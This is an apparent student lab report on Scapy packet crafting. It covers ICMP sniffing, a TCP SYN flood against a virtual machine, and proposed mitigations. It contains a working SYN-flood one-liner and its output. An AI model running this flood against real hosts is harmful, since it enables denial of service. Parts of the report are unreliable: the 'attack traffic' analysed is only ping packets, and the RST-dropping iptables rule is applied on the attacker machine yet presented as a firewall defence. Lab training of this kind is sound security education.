Ethical Hacking Lab Report

Project: Network Vulnerability Analysis & Packet Crafting

1. Executive Summary

This report details a series of ethical hacking exercises focused on packet manipulation and network protocol analysis using Scapy. The primary objective was to simulate a targeted TCP SYN Flood attack to understand how network layers respond to half-open connection requests and to develop effective remediation strategies for infrastructure security.

2. Methodology & Tools

Environment: Oracle VirtualBox running Kali Linux (Attacker) and Ubuntu (Target) within a Star Topology network.

Primary Tool: Scapy (Python-based packet manipulation program used for forging, sniffing, and sending packets).

Supporting Tools: Wireshark (Traffic analysis), Nmap (Reconnaissance).

3. Technical Walkthrough: Packet Crafting & SYN Flood

3.1 Initial Reconnaissance and Setup

To begin, Scapy was initialized to explore the IP header structure and verify network interfaces. Using the ls(IP) function, the contents and possibilities of IP packets were mapped.

```
>>> ls(IP)
version    : BitField  (4 bits)                = (4)
ihl        : BitField  (4 bits)                = (None)
tos        : XByteField                        = (0)
len        : ShortField                        = (None)
id         : ShortField                        = (1)
flags      : FlagsField  (3 bits)              = (<Flag 0 ()>)
frag       : BitField  (13 bits)               = (0)
ttl        : ByteField                         = (64)
proto      : ByteEnumField                     = (0)
chksum     : XShortField                       = (None)
src        : SourceIPField                     = (None)
dst        : DestIPField                       = (None)
options    : PacketListField                   = ([])
>>>
```

3.2 Capturing Traffic (Sniffing)

Before launching the simulation, I established a baseline by sniffing ICMP traffic to ensure the target was reachable and the interface was correctly capturing packets.

```
sniff(iface="enp0s3", filter="icmp", count=10)
```

once scapy is listening I made a ping test to cisco.com, which gives scapy packets to capture

```
cisco@labvm:~$ ping cisco.com
PING cisco.com (72.163.4.185) 56(84) bytes of data.
64 bytes from redirect-ns.cisco.com (72.163.4.185): icmp_seq=1 ttl=255 time=376
ms
64 bytes from redirect-ns.cisco.com (72.163.4.185): icmp_seq=2 ttl=255 time=452
ms
64 bytes from redirect-ns.cisco.com (72.163.4.185): icmp_seq=3 ttl=255 time=475
ms
64 bytes from redirect-ns.cisco.com (72.163.4.185): icmp_seq=4 ttl=255 time=501
ms
64 bytes from redirect-ns.cisco.com (72.163.4.185): icmp_seq=5 ttl=255 time=319
ms
64 bytes from redirect-ns.cisco.com (72.163.4.185): icmp_seq=6 ttl=255 time=343
ms
```

```
>>> sniff(iface="enp0s3", filter="icmp", count=10)
<Sniffed: TCP:0 UDP:0 ICMP:10 Other:0>
>>> a=_
>>> a.summary()
Ether / IP / ICMP 10.0.2.15 > 72.163.4.185 echo-request 0 / Raw
Ether / IP / ICMP 72.163.4.185 > 10.0.2.15 echo-reply 0 / Raw
Ether / IP / ICMP 10.0.2.15 > 72.163.4.185 echo-request 0 / Raw
Ether / IP / ICMP 72.163.4.185 > 10.0.2.15 echo-reply 0 / Raw
Ether / IP / ICMP 10.0.2.15 > 72.163.4.185 echo-request 0 / Raw
Ether / IP / ICMP 72.163.4.185 > 10.0.2.15 echo-reply 0 / Raw
Ether / IP / ICMP 10.0.2.15 > 72.163.4.185 echo-request 0 / Raw
Ether / IP / ICMP 72.163.4.185 > 10.0.2.15 echo-reply 0 / Raw
Ether / IP / ICMP 10.0.2.15 > 72.163.4.185 echo-request 0 / Raw
Ether / IP / ICMP 72.163.4.185 > 10.0.2.15 echo-reply 0 / Raw
>>>
```

3.3 The Simulation: TCP SYN Flood Attack

Using the knowledge of TCP flags, I crafted a script to flood the target's port 445 (SMB) or port 80 (HTTP) with SYN packets. This simulates an attempt to exhaust the target's connection queue in this case I used a virtual machine as a target.

```
send(IP(dst="10.6.6.23")/TCP(dport=445, flags="S"), loop=1)
```

```
>>> send(IP(dst="10.6.6.23")/TCP(dport=445, flags="S"), loop=1)
.....................................................................^C
Sent 2878 packets.
```

3.4 Traffic Analysis

The captured attack data was exported to a .pcap file using wrpcap("dostest.pcap", a) for deep inspection in Wireshark.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	10.0.2.15	72.163.4.185	ICMP	98	Echo (ping) request id=0x0006, seq=1/256, ttl=64 (reply in 2)
2	0.375823	72.163.4.185	10.0.2.15	ICMP	98	Echo (ping) reply id=0x0006, seq=1/256, ttl=255 (request in 1)
3	0.999778	10.0.2.15	72.163.4.185	ICMP	98	Echo (ping) request id=0x0006, seq=2/512, ttl=64 (reply in 4)
4	1.451356	72.163.4.185	10.0.2.15	ICMP	98	Echo (ping) reply id=0x0006, seq=2/512, ttl=255 (request in 3)
5	2.000291	10.0.2.15	72.163.4.185	ICMP	98	Echo (ping) request id=0x0006, seq=3/768, ttl=64 (reply in 6)
6	2.475488	72.163.4.185	10.0.2.15	ICMP	98	Echo (ping) reply id=0x0006, seq=3/768, ttl=255 (request in 5)
7	3.000569	10.0.2.15	72.163.4.185	ICMP	98	Echo (ping) request id=0x0006, seq=4/1024, ttl=64 (reply in 8)
8	3.501874	72.163.4.185	10.0.2.15	ICMP	98	Echo (ping) reply id=0x0006, seq=4/1024, ttl=255 (request in 7)
9	4.002144	10.0.2.15	72.163.4.185	ICMP	98	Echo (ping) request id=0x0006, seq=5/1280, ttl=64 (reply in 10)
10	4.321054	72.163.4.185	10.0.2.15	ICMP	98	Echo (ping) reply id=0x0006, seq=5/1280, ttl=255 (request in 9)

```
▸ Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits)
▸ Ethernet II, Src: PcsCompu_55:44:07 (08:00:27:55:44:07), Dst: 52:55:0a:00:02:02 (52:55:0a:00:02:02)
▸ Internet Protocol Version 4, Src: 10.0.2.15, Dst: 72.163.4.185
▸ Internet Control Message Protocol
```

```
0000  52 55 0a 00 02 02 08 00  27 55 44 07 08 00 45 00   RU····· 'UD···E·
0010  00 54 73 e9 40 00 40 01  6d 55 0a 00 02 0f 48 a3   ·Ts·@·@· mU····H·
0020  04 b9 08 00 bc 07 00 06  00 01 af bd dc 69 00 00   ····· ·····i··
0030  00 00 e4 f6 0c 00 00 00  00 00 10 11 12 13 14 15   ····· ·····
0040  16 17 18 19 1a 1b 1c 1d  1e 1f 20 21 22 23 24 25   ····· ·· !"#$%
0050  26 27 28 29 2a 2b 2c 2d  2e 2f 30 31 32 33 34 35   &'()*+,- ./012345
0060  36 37                                              67
```

4. Remediation & Mitigation

Based on the patterns observed in the packet analysis, the following security controls were identified:

4.1 Infrastructure Hardening

- • Implementing SYN Cookies: Prevents resource exhaustion by deferring state allocation.
- • TCP Intercept: Using Layer 3 switches to proxy TCP connections and drop invalid requests.

4.2 Firewall Implementation

```
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j
ACCEPT
```

```
┌──(kali㉿kali)-[~]
└─$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
[sudo] password for kali:

┌──(kali㉿kali)-[~]
└─$
```

Next I attempted the DOS attack again on the target to see if the firewall is active.

```
┌──(kali㉿kali)-[~]
└─$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 30 packets, 8619 bytes)
 pkts bytes target     prot opt in     out     source               destination
    5   200 DROP       tcp  --  any    any     anywhere             anywhere             tcp flags:RST/RST
```

While professional environments utilize IDS platforms like Security Onion for automated alerting, for this lab, validation was performed via manual packet inspection and firewall logging to ensure granular control.